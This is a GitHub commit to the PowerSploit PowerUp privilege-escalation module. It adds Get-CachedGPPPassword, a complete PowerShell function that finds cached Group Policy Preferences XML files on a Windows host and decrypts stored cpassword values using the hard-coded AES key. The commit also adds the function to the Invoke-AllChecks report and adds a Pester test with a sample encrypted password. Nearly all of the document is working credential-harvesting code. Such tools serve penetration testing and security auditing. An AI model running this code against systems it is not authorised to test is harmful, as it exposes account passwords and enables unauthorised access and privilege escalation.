Skip to content

Commit 5f8d8b0

Browse files
committed
Addded Get-CachedGPPPassword to PowerUp, based almost entirely on Get-GPPPassword.
Added Pester tests for Get-CachedGPPPassword.
1 parent f6ee5cb commit 5f8d8b0

File tree

2 files changed

+234
-0
lines changed

2 files changed

+234
-0
lines changed

Privesc/PowerUp.ps1

Lines changed: 208 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3502,6 +3502,206 @@ function Get-SiteListPassword {
35023502
}
35033503

35043504

3505+
function Get-CachedGPPPassword {
3506+
<#
3507+
.SYNOPSIS
3508+
3509+
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host.
3510+
3511+
PowerSploit Function: Get-CachedGPPPassword
3512+
Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y
3513+
License: BSD 3-Clause
3514+
Required Dependencies: None
3515+
Optional Dependencies: None
3516+
3517+
.DESCRIPTION
3518+
3519+
Get-CachedGPPPassword searches the local machine for cached for groups.xml, scheduledtasks.xml, services.xml and datasources.xml files and returns plaintext passwords.
3520+
3521+
.EXAMPLE
3522+
3523+
PS C:\> Get-CachedGPPPassword
3524+
3525+
3526+
NewName : [BLANK]
3527+
Changed : {2013-04-25 18:36:07}
3528+
Passwords : {Super!!!Password}
3529+
UserNames : {SuperSecretBackdoor}
3530+
File : C:\ProgramData\Microsoft\Group Policy\History\{32C4C89F-7
3531+
C3A-4227-A61D-8EF72B5B9E42}\Machine\Preferences\Groups\Gr
3532+
oups.xml
3533+
3534+
.LINK
3535+
3536+
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
3537+
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
3538+
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
3539+
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
3540+
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
3541+
#>
3542+
3543+
[CmdletBinding()]
3544+
Param()
3545+
3546+
# Some XML issues between versions
3547+
Set-StrictMode -Version 2
3548+
3549+
# make sure the appropriate assemblies are loaded
3550+
Add-Type -Assembly System.Security
3551+
Add-Type -Assembly System.Core
3552+
3553+
# helper that decodes and decrypts password
3554+
function local:Get-DecryptedCpassword {
3555+
[CmdletBinding()]
3556+
Param (
3557+
[string] $Cpassword
3558+
)
3559+
3560+
try {
3561+
# Append appropriate padding based on string length
3562+
$Mod = ($Cpassword.length % 4)
3563+
3564+
switch ($Mod) {
3565+
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
3566+
'2' {$Cpassword += ('=' * (4 - $Mod))}
3567+
'3' {$Cpassword += ('=' * (4 - $Mod))}
3568+
}
3569+
3570+
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
3571+
3572+
# Create a new AES .NET Crypto Object
3573+
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
3574+
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
3575+
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
3576+
3577+
# Set IV to all nulls to prevent dynamic generation of IV value
3578+
$AesIV = New-Object Byte[]($AesObject.IV.Length)
3579+
$AesObject.IV = $AesIV
3580+
$AesObject.Key = $AesKey
3581+
$DecryptorObject = $AesObject.CreateDecryptor()
3582+
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
3583+
3584+
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
3585+
}
3586+
3587+
catch {Write-Error $Error[0]}
3588+
}
3589+
3590+
# helper that parses fields from the found xml preference files
3591+
function local:Get-GPPInnerFields {
3592+
[CmdletBinding()]
3593+
Param (
3594+
$File
3595+
)
3596+
3597+
try {
3598+
3599+
$Filename = Split-Path $File -Leaf
3600+
[XML] $Xml = Get-Content ($File)
3601+
3602+
$Cpassword = @()
3603+
$UserName = @()
3604+
$NewName = @()
3605+
$Changed = @()
3606+
$Password = @()
3607+
3608+
# check for password field
3609+
if ($Xml.innerxml -like "*cpassword*"){
3610+
3611+
Write-Verbose "Potential password in $File"
3612+
3613+
switch ($Filename) {
3614+
'Groups.xml' {
3615+
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3616+
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3617+
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3618+
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3619+
}
3620+
3621+
'Services.xml' {
3622+
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3623+
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3624+
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3625+
}
3626+
3627+
'Scheduledtasks.xml' {
3628+
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3629+
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3630+
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3631+
}
3632+
3633+
'DataSources.xml' {
3634+
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3635+
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3636+
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3637+
}
3638+
3639+
'Printers.xml' {
3640+
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3641+
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3642+
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3643+
}
3644+
3645+
'Drives.xml' {
3646+
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3647+
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3648+
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
3649+
}
3650+
}
3651+
}
3652+
3653+
foreach ($Pass in $Cpassword) {
3654+
Write-Verbose "Decrypting $Pass"
3655+
$DecryptedPassword = Get-DecryptedCpassword $Pass
3656+
Write-Verbose "Decrypted a password of $DecryptedPassword"
3657+
#append any new passwords to array
3658+
$Password += , $DecryptedPassword
3659+
}
3660+
3661+
# put [BLANK] in variables
3662+
if (-not $Password) {$Password = '[BLANK]'}
3663+
if (-not $UserName) {$UserName = '[BLANK]'}
3664+
if (-not $Changed) {$Changed = '[BLANK]'}
3665+
if (-not $NewName) {$NewName = '[BLANK]'}
3666+
3667+
# Create custom object to output results
3668+
$ObjectProperties = @{'Passwords' = $Password;
3669+
'UserNames' = $UserName;
3670+
'Changed' = $Changed;
3671+
'NewName' = $NewName;
3672+
'File' = $File}
3673+
3674+
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
3675+
Write-Verbose "The password is between {} and may be more than one value."
3676+
if ($ResultsObject) {Return $ResultsObject}
3677+
}
3678+
3679+
catch {Write-Error $Error[0]}
3680+
}
3681+
3682+
try {
3683+
$AllUsers = $Env:ALLUSERSPROFILE
3684+
3685+
if($AllUsers -notmatch 'ProgramData') {
3686+
$AllUsers = "$AllUsers\Application Data"
3687+
}
3688+
3689+
# discover any locally cached GPP .xml files
3690+
$XMlFiles = Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
3691+
3692+
if ( -not $XMlFiles ) { throw 'No preference files found.' }
3693+
3694+
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
3695+
3696+
ForEach ($File in $XMLFiles) {
3697+
Get-GppInnerFields $File.Fullname
3698+
}
3699+
}
3700+
3701+
catch {Write-Error $Error[0]}
3702+
}
3703+
3704+
35053705
function Write-UserAddMSI {
35063706
<#
35073707
.SYNOPSIS
@@ -3716,6 +3916,14 @@ function Invoke-AllChecks {
37163916
}
37173917
"`n"
37183918

3919+
"`n`n[*] Checking for cached Group Policy Preferences .xml files...."
3920+
$Results = Get-CachedGPPPassword | Where-Object {$_}
3921+
$Results | Format-List
3922+
if($HTMLReport) {
3923+
$Results | ConvertTo-HTML -Head $Header -Body "<H2>Cached GPP Files</H2>" | Out-File -Append $HtmlReportFile
3924+
}
3925+
"`n"
3926+
37193927
if($HTMLReport) {
37203928
"[*] Report written to '$HtmlReportFile' `n"
37213929
}

Tests/Privesc.tests.ps1

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1196,6 +1196,32 @@ Describe 'Get-SiteListPassword' {
11961196
}
11971197

11981198

1199+
Describe 'Get-CachedGPPPassword' {
1200+
1201+
if(-not $(Test-IsAdmin)) {
1202+
Throw "'Get-CachedGPPPassword' Pester test needs local administrator privileges."
1203+
}
1204+
1205+
# all referenced GPP .xml sources from https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/rex/parser/group_policy_preferences_spec.rb
1206+
It 'Should throw if no files are found.' {
1207+
Get-CachedGPPPassword | Should Throw
1208+
}
1209+
1210+
It 'Should correctly find and parse a cached Groups.xml file.' {
1211+
$Path = "${Env:ALLUSERSPROFILE}\Microsoft\Group Policy\History\{23C4E89F-7D3A-4237-A61D-8EF82B5B9E42}\Machine\Preferences\Groups\Groups.xml"
1212+
$Null = New-Item -ItemType File -Path $Path -Force
1213+
$GroupsXml = '<?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}"><Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/></User></Groups>'
1214+
$GroupsXml | Out-File -FilePath $Path -Force
1215+
1216+
$GPPResult = Get-CachedGPPPassword
1217+
Remove-Item -Force $Path
1218+
1219+
$GPPResult.Passwords[0] | Should be 'Super!!!Password'
1220+
$GPPResult.UserNames[0] | Should be 'SuperSecretBackdoor'
1221+
}
1222+
}
1223+
1224+
11991225
Describe 'Invoke-AllChecks' {
12001226
It 'Should return results to stdout.' {
12011227
$Output = Invoke-AllChecks

0 commit comments

Comments
 (0)